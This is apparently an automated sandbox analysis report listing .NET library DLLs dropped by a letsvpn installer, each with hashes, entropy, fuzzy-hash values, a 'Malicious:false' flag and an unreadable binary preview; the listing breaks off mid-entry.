                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ....................................@.................................h)..O....@..0................+...`......0(............................................... ............... ..H............text........ ...................... ..`.rsrc...0....@......................@..@.reloc.......`......................@..B.................)......H.......P ..`....................'......................................BSJB............v4.0.30319......l.......#~..H.......#Strings....8.......#US.<.......#GUID...L.......#Blob......................3................................................ .C.....C...w.0...c.............................@.....Y.................t.....]...................*.....*.....*...).*...1.*...9.*...A.*...I.*...Q.*...Y.*...a.*...i.*...q.*.......................#.....+.....3.....;.....C.8...K.X...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Packaging.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):48104
                                                                                            Entropy (8bit):5.956440090685503
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:Dxua7db+smzMnSzBt++0YfTF61O+luv5tyIAw/KENAMxtRl4:DxH7ssKugt+++1luv5tyIAwrxtQ
                                                                                            MD5:7DE684000FD09F0A319782CDE7FB4098
                                                                                            SHA1:5F6DE103DF572A76DB475146E1DEE12610060949
                                                                                            SHA-256:B2A59B165E0BA461530C69747A0220B977382A3FBB5D4EC1892EB501FE236CC7
                                                                                            SHA-512:C1BBCF5772DD25B29D114B0181B907349ACEDCDE82C30D76C75B4257E46E231528D3C0B59F0B1FE0E6973ADBBD5DDDCFC710535C7A28FE911F0FD7AC37D1B784
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)1............" ..0.................. ........... ....................................`.................................S...O........................+..........t...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......`(...D...........l...6...........................................~....*..0..........(....,..*..(.....o.......&...*...................0...........(.......(....-..,..*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*..,&(....,..r...pr...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*...(....*.(....,.r...p......%...%...%...(....*....(....*.(....,"r...p......%...%...%...%..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Pipes.AccessControl.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):20968
                                                                                            Entropy (8bit):6.63165380644001
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:DANJdesEvbDYUgmpWrxWNPfWqxWfPmnpwKANynsAw/98E9VF3AM+oAtOkaEvM:SclTD/yod2bAw/KENAMxE70
                                                                                            MD5:DBFD249ED5D76598C98126B6D50EF479
                                                                                            SHA1:E19E8BC586375BDF910B45C45BAD82AF60EF3B25
                                                                                            SHA-256:04EE5D37A90404401FF94A4C1904ECD8D6D684C5A49B763421A8A3E5E68E3860
                                                                                            SHA-512:89B4B2592C09C17E663F43ED6BD5879F61B69D598AEA0704AB1E28198F3F06C18238D05E07AF92E9518EB22EC56F9CA01A334F8D5A7CF4A5C71203EB45BCBCDE
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....:.[.........." ..0.............Z5... ...@....... ..............................G.....@..................................5..O....@..P............&...+...`......T4............................................... ............... ..H............text...`.... ...................... ..`.rsrc...P....@......................@..@.reloc.......`.......$..............@..B................;5......H........!...............0..(....3......................................j~....%-.&(....s....%.....*..*...0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*.~....*2r...p.(....*2ra..p.(....*2r...p.(....*2r...p.(....*2r...p.(....*B.....(.........*..o....*"..o....*.BSJB............v4.0.30319..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Pipes.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.927838293875772
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:dGMWCUWbopwKANynsAw/98E9VF3AM+o3303r0ND:d3HAw/KENAMxU3CD
                                                                                            MD5:A2311347E254C061BF6C1F24A4A1DFA8
                                                                                            SHA1:18483DB09090C9E3C7B50313C66B2340DDAF7CAC
                                                                                            SHA-256:62FD18D7BB1FB2EE4F25FA443D826C009760FC7D814718223F3513F26DA51216
                                                                                            SHA-512:3B2AA09F78C8F90602D4C299D46FDFFFCA58E3D10AF7081B28A2C01802C73496786B0AC35766FA2DF6D23C79C456203E9C2DB35A33AE9D3ED7CE16864287EC9C
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ..............................nB....@.................................@)..O....@...................+...`.......(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................t)......H.......P ..8....................'......................................BSJB............v4.0.30319......l.......#~..X.......#Strings............#US. .......#GUID...0.......#Blob......................3..................................................].....]...T.J...}.....h.$.....$.....$...g.$.....$...6.$.....$.....$...Q.....:.$.................D.....D.....D...).D...1.D...9.D...A.D...I.D...Q.D...Y.D...a.D...i.D...q.D.......................#.....+.....3.....;.....C.,...K.L...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Ports.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):35304
                                                                                            Entropy (8bit):6.273566191911974
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:y44bN5hwABzKGUn11fF+1WWAw/KENAMxJo:y5bLhLBzcn1gWWAwrxe
                                                                                            MD5:D9527FAA55F0D7A737845D14F0FA6FFF
                                                                                            SHA1:A871AC8A95DF15D069E20DA521A215E91B0FA476
                                                                                            SHA-256:F47E5FC825463E6EB7F3947A564982DE3EDE85EF9882294530B1F03CE7C3115D
                                                                                            SHA-512:BD1D34565BB002998E9A68649BCD96AEE24138944D8B1BA702639CF412044B0F08965B62DF08C68B0EF2FC6D16201B293EB420DA60A95B7EF5102E56EC1A8A43
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..T...........s... ........... ..............................>L....`..................................r..O....................^...+...........q..T............................................ ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............\..............@..B.................r......H........&...............U..X...`q.......................................~....*..0..........(....,..*..(.....o.......&...*...................0...........(.......(....-..,..*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*..,&(....,..r...pr...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*...(....*.(....,.r...p......%...%...%...(....*....(....*.(....,"r...p......%...%...%...%..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.UnmanagedMemoryStream.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.912941177738582
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:c9BhwI7WSQWBPpwKANynsAw/98E9VF3AM+o2Yp9d:c9DwIB6Aw/KENAMxhD
                                                                                            MD5:8B51C8E0F7295DD4F4CAD987DF43DCCE
                                                                                            SHA1:83D9317DF8B46AA52C5AE6605B0AC451DC8C62E3
                                                                                            SHA-256:0A6FA415695878ED0D59B8A09EA4C247FF12762056B637E7EA623AB0CD80F3E9
                                                                                            SHA-512:1AA7FE3015AEE0C92C0869D409CD4965F0B5326195728E16671DC87E1AE4639ABBCC6CBA5D609995EA5D90FBEF17406D2843B14571FB7D19BF935C8715EEB4AF
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ...............................w....@.................................l(..O....@..P................+...`......4'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P ..d....................&......................................BSJB............v4.0.30319......l.......#~......D...#Strings....8.......#US.<.......#GUID...L.......#Blob......................3......................................................f.....:.....2.....N.................M.................e...........7..... ...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.!...C.<...K.\...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.925029499359628
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:jyvPRW4lWSlpwKANynsAw/98E9VF3AM+oayAYX:+39mAw/KENAMxp
                                                                                            MD5:CF7BD5371870C68B3F0B3D28706445AD
                                                                                            SHA1:8A9BBC216417D64C7C2BD2F999716272AEA48775
                                                                                            SHA-256:97F68D3B3E4D60C8A66C6E05484D684572D7120EBF160FE644C7EBF0AD0149B1
                                                                                            SHA-512:BBAF7E0E430889634A1CC5C0BE5B0B329EE4B5F6BE5452AE8948312D5AD83C6A40FF018768F99ACF1B270AD8BCAD562AE396F5ECE6C671D686318AC789979758
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ..............................>.....@..................................)..O....@...................+...`......l(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l...L...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................................f.....:...........N.................M.................e...........7..... ...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.&...K.F...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Expressions.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):17384
                                                                                            Entropy (8bit):6.877846883270474
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:H6RW6eWqkpwKANynsAw/98E9VF3AM+od0q9SR:H67cAw/KENAMxez
                                                                                            MD5:3E2F799AB970A41C2C8E5E7534845C24
                                                                                            SHA1:1FE64C66F7A83551436BF4B3EFFF8945205E85FE
                                                                                            SHA-256:427F56E9C708F3E46A24A362C75C94048ECF421941D450005DDCAACA956BF449
                                                                                            SHA-512:DE901852EC48E27D29CBD035D38005854A55EE7F847C27E8453A74B534B1AB4FB097E929F65C205C7440D457F329EBD9CC06CFE4CA21A1023360D8D435C88A6A
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............-... ...@....... ...............................F....@..................................-..O....@...................+...`......P,............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................-......H.......P .......................+......................................BSJB............v4.0.30319......l.......#~..\.......#Strings....\.......#US.`.......#GUID...p.......#Blob......................3......................................5.........c.............z...............(.....E.....................................Q.........../...........b.....b.....b...).b...1.b...9.b...A.b...I.b...Q.b...Y.b...a.b...i.b...q.b.......................#.....+.....3.....;.....C.4...K.T...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Parallel.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.908980993884322
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:JSUP9W70WY1pwKANynsAw/98E9VF3AM+ox/E1:QUe1Aw/KENAMxxg
                                                                                            MD5:F2174ACB80D143534E86251227B61754
                                                                                            SHA1:904DA138FAED4E5E58C1F81DAD95B8A64DD9D66E
                                                                                            SHA-256:359C5BDDACD7DBE19E7E98067519B4A4EACD68515DEF059C5B4EBFE07857DBDF
                                                                                            SHA-512:8FD48CDB9EAF955D8C5F6F76CEF26F6E30231F8214341DD82053B7CFEB8821C9F2B6F8E8421A40196DC0532DBC9DAB1AC581F4E63FA08718ACA38153724A84CD
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ...............................M....@..................................(..O....@...................+...`.......'............................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l.......#~..,...x...#Strings............#US.........#GUID...........#Blob......................3..................................................&.....&...p.....F.............................9.....R.................m.....V...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.1...K.Q...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Queryable.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.906006192564813
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:K8yg07W0/W82pwKANynsAw/98E9VF3AM+ob/Ggha:KBHZAw/KENAMx7Hs
                                                                                            MD5:B7F1F348FB749AFEA248B49C06157E47
                                                                                            SHA1:3EFD58FC81DFC96A330B671627B03DA05D9B03B7
                                                                                            SHA-256:187D6A46549050C706E5DCA0E80632C54CAB234CF18C53EC746558D1AD866CB4
                                                                                            SHA-512:5CB4058ACEC2A08FC269464C486FFBA9CEEBCC16EBA8D3448F4CB255C71CA6EC2751468128CB74F74FC89DD12E552A30C38729C995C82AA3DE842DB846B38D22
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ...............................`....@..................................(..O....@...................+...`......x'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~.. ...d...#Strings............#US.........#GUID...........#Blob......................3.................................................."....."...m.....B.............................6.....O.................j.....S.......(...........................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.2...K.R...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.871260511266613
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:je1WmRWlbpwKANynsAw/98E9VF3AM+oTyp9QU:jejfAw/KENAMx+pV
                                                                                            MD5:27F0BCCBF696F5F8346CEA6F86794100
                                                                                            SHA1:FBA05E15CAA7C24921DAC2886619B7810C052B13
                                                                                            SHA-256:55223D201D441AA3385A1F5C74FB6A262E3E295BA8E934DEF97BB98AB47BD887
                                                                                            SHA-512:566DE66663F59478495A80427AFFDBEA39B8E566B9245D9B196A3D1EAA5BB493BEAB3F8BA89A4B16A736E7572975905154D831520700E8B98E32FDF628AF8EB6
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ...............................T....@.................................p(..O....@...................+...`......8'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P ..h....................&......................................BSJB............v4.0.30319......l.......#~.. ...0...#Strings....P.......#US.T.......#GUID...d.......#Blob......................3............................................................f...........z.................y...../.....H.................c.....L.......,...........................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.(...K.H...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Management.Automation.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):365544
                                                                                            Entropy (8bit):5.907896588749653
                                                                                            Encrypted:false
                                                                                            SSDEEP:6144:eA0HY8o04jatc9MCELK5h+BO2L1fsqF030MhU:eA0HYnitRCOFOI1WfU
                                                                                            MD5:AF5AAAEF554DD9A976568304EAFAC781
                                                                                            SHA1:75CE538111D00E957DC608C1B7B9AD063AA55CBB
                                                                                            SHA-256:52EFAACC812848164955787C7ED20FC330CF89C65CBA39B0E008E65ED852D25F
                                                                                            SHA-512:4827497E0F1ECD2C20BC4AB268EC427A6D5301AA12F6A83EA54E7F3AF197C98F381A62B524DD086DB80FA032C1133C3FC50D0941B96C43C6A5C8CF764AF747D6
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;..........." ..0..`...........~... ........... ..............................<1....`.................................?~..O....................h...+..........\}..T............................................ ............... ..H............text....^... ...`.................. ..`.rsrc................b..............@..@.reloc...............f..............@..B................s~......H.......t|..h....................|........................................('...*..((...*..(#...*..*..*..*.*..(....*..(....*..(....*..(....*..*.*..(1...*..*..(....*..*..*.*..*.*..*..*..*..(....*..(....*..(....*..(....*..(....*..(....*..(....*..(....*..*..*..*..*..*..*..*.*..()...*..()...*..*.*..*.*..(....*..*..(....*..(....*..(....*..(....*..('...*....Q.*..(....*..*.*..*.*..*.*..*.*..*.*..('...*..((...*..*.*..*.*..*.*..('...*..('...*..*..*.*..*.*..*..*..*..*..*..('...*..*..*..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Memory.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):143336
                                                                                            Entropy (8bit):6.177665404019452
                                                                                            Encrypted:false
                                                                                            SSDEEP:3072:WUGrszKKLB8a9DvrJeeesIf3amN32AW/rcjhFdj:hB8l3/aK32eh7j
                                                                                            MD5:981CAEC25ECADC701AB4447AFFAEF1DE
                                                                                            SHA1:620E2FB15BB20D769D8855B3881FDD18A2BA0403
                                                                                            SHA-256:21B9D6C1317A1977E7C0D1CC06446BA422C7EAC66643518D99466616F7806AA9
                                                                                            SHA-512:B0A95935C2D9571CEA5FDF4831E4D67D39CEEFC762DB1F23106FA995332B54C12A1BDF97248118A83F485248EAAA1980CB6560A8C967432318671C79193CC0F0
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....6wb.........." ..0.................. ... ....... .......................`......6.....@.................................`...O.... ..@................+...@......(................................................ ............... ..H............text........ ...................... ..`.rsrc...@.... ......................@..@.reloc.......@......................@..B........................H........,................................................................('...*>..}......}....*..{....*..{....*..{.....{....3..{.....{....((...*.*..0...........%.u....,..........(....*.*z.{....%-.&.+.o)....{....(a...*..(....zN........o*...s+...*.(....z.s,...*..(....zF(U....(O...s-...*.(....z.(V...s-...*.(....z.s....*.(....z.s/...*..(....zN........o*...s0...*.(....zrr...p(\....c.K...(O...s1...*.(....zBr...p(Y...s1...*.(....z.s2...*.(....z.(X...s3...*.(!...z.(_...s3...*.(#...z

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Http.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):193512
                                                                                            Entropy (8bit):6.125628048669688
                                                                                            Encrypted:false
                                                                                            SSDEEP:3072:seruQlNGOhYq0AQcTvankc+8lbKta4FUPAT8xpRI454I/Kv6RpZ8dwPSgxhL:FW60VcTvakcXcApOghL
                                                                                            MD5:6D89FD823B94BE6C2E534FF57ABA3DB9
                                                                                            SHA1:944518F037278434B44ADEE7ECC7BCFC02A3671D
                                                                                            SHA-256:0C7A84C6226A8D99C7F2507025FEDE186780633A3943013E0BE7607167C97BAC
                                                                                            SHA-512:EB77A0A02835DCBF992EFE485767325BE5A504D5ED7468A6736AE9A37AC62D2FD122C03442B2D4DB11BE285598B6653133CA2D87D5DF74AE7B4A920427AC297D
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.................. ........... ....................... .......{....@.....................................O.......h................+........................................................... ............... ..H............text...D.... ...................... ..`.rsrc...h...........................@..@.reloc..............................@..B........................H........$..H...........$....,...........................................0..,........ ....1.r...ps0...z.............(.....s1...*.0..l........J.2..J.o2...2.r...ps0...z..Jo3....%36.o2....JY.2*..J.Xo3.....J.Xo3...(...... ........J.XT.*...J...XT.o3...*..o2....Y./..*..o3....%3 ...Xo3......Xo3...(.... .......*.*..0..=..........J...XT..%....J...XT.~..... ...._.c.....J...XT.~......._..*....0............02...91...A2...F1...a2...f1. ....*..91...F1...aY+...AY..X+...0Y...02...91...A2...F

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.IPNetwork.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):37864
                                                                                            Entropy (8bit):6.424371908906091
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:OVRG18S8ZaRMtn/RF6XbPnP8hbUePwV/QjTGIHeesAc1pwKANynsAw/98E9VF3A3:OVc1GUMB/z6XmY/iee5/Aw/KENAMx8R
                                                                                            MD5:F40C07C648C8C38147C59A9C61239361
                                                                                            SHA1:8AD1B7F295E4E00CEFC6F05EC2F3C1E0B8A62172
                                                                                            SHA-256:201DC7B20D6CBA7EB4DC2048956B280C1A09E7A48CAE5CB99FD5C95222FFFB8D
                                                                                            SHA-512:52001DD577222B85BB40794787805B6EB5CBF12EECB64BD5A2C7DEDB18650698ACA75EAB741E51068179C4E3A4629D4569042B3D068295B2EF60DBE9A3808ACB
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..\..........r{... ........... ..............................(.....`..................................{..O.......h............h...+..........0z..T............................................ ............... ..H............text....[... ...\.................. ..`.rsrc...h............^..............@..@.reloc...............f..............@..B................Q{......H.......D>..l;...................y.......................................0..v.........(.......i.Y...i.Zs.........(.......o.....0....(.....3...0o....&..o ...&..Y.+......(......0o!...o ...&..Y.../..o"...*6..r...p(#...*.0............(.......i.Y...i.[.X.Zs.......i.]..-......+....b......%.Y..X....Y..-....($........o.....0....(.....3...0o....&...o ...&+1.....b...Y..bX...Y.X......($.....0o!...o ...&..Y.../..o"...*...0..d.........(.......X...i.3..+.../......+......f...X....i.Y2...i.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.NameResolution.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.891711536643205
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:L6ZWYLWIdpwKANynsAw/98E9VF3AM+o/MhJw4:L6lyAw/KENAMxUfw4
                                                                                            MD5:5CF8352288A3E2C194B8916DE5E1CF8D
                                                                                            SHA1:22ABC0FDE9C48B1529D920E03966AB14FFDD9F3C
                                                                                            SHA-256:0120BAB0F8FA20274F13F8BF0D2177B0D7F247F1090AB94CC3DF50540CF5EEED
                                                                                            SHA-512:5668AB6455594F2253ED995C71405CADA14365D46BC70A0D125267BC0855D7555048FC9598DAAB3C4054708838A2B2E111FD22B697C7E654A13F02E4F109AB86
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ....................................@.................................T(..O....@.. ................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P ..L....................&......................................BSJB............v4.0.30319......l.......#~......0...#Strings....$.......#US.(.......#GUID...8.......#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.6...K.V...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.NetworkInformation.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):17384
                                                                                            Entropy (8bit):6.8495734817007135
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:nZ1W1WMQWhRpwKANynsAw/98E9VF3AM+oZbgr:21MAw/KENAMxw
                                                                                            MD5:4F27F06AAC9439B3673212E0E372C195
                                                                                            SHA1:0546CD67233E8F65DFD080FFC4EC8482068F6F62
                                                                                            SHA-256:7FA0F04C2F17575754CC48EAC4131874F8A1F2CAC761DDB51FD691938CB3EEF1
                                                                                            SHA-512:32513A64091B2391B4A5FCDEE2535D9933EDBC1DD048CD9CA4007880EE61C049A0522D4695FB38FEE657DCB8D4DDB70ED4A8B3219B374CDB278A0AAB0BC0EB73
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............,... ...@....... ..............................J.....@..................................,..O....@..@................+...`......p+............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................,......H.......P .......................*......................................BSJB............v4.0.30319......l...<...#~..........#Strings....t.......#US.x.......#GUID...........#Blob......................3................................!...............E.................%.................'...........e.....~...........................................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.:...K.Z...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Ping.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.883311037346329
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:KdSWSKWUxpwKANynsAw/98E9VF3AM+otIRE6D6S:MOfAw/KENAMxtWP5
                                                                                            MD5:53F96C63BE9243B0B5E0B4DBCA8F4A39
                                                                                            SHA1:4FEC6835E51FE0480FD9A91EBF88093D4A17E142
                                                                                            SHA-256:968C6736BE25FD635DEDC7A7DE410ABE17BEF44F7B3FE07E7A38BE8C35175989
                                                                                            SHA-512:C71252457CC52B76F6958C366E05FE06AF17DEBE8CAEA7E890B5F4339CF546F8A63FF2EA100AEFCA23B8A9E4289E62FDCF36D96BA722DF75A1D94ADB53CF139E
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ..............................Q4....@..................................(..O....@...................+...`......X'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~.. ...L...#Strings....l.......#US.p.......#GUID...........#Blob......................3......................................................\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.,...K.L...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Primitives.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):17384
                                                                                            Entropy (8bit):6.805651039589859
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:qJEYA2WkIWpEpwKANynsAw/98E9VF3AM+om6sYx9D:qyYA8NAw/KENAMxVPD
                                                                                            MD5:8AF7247A87E7527320DCEE21D09D6CF1
                                                                                            SHA1:5155B695010E577314EC3C3D7050C993A10C3EDD
                                                                                            SHA-256:3EA9E823E4F2C4D974026E34BE287801B3D71C390C86BDF2A1A3061B8203E250
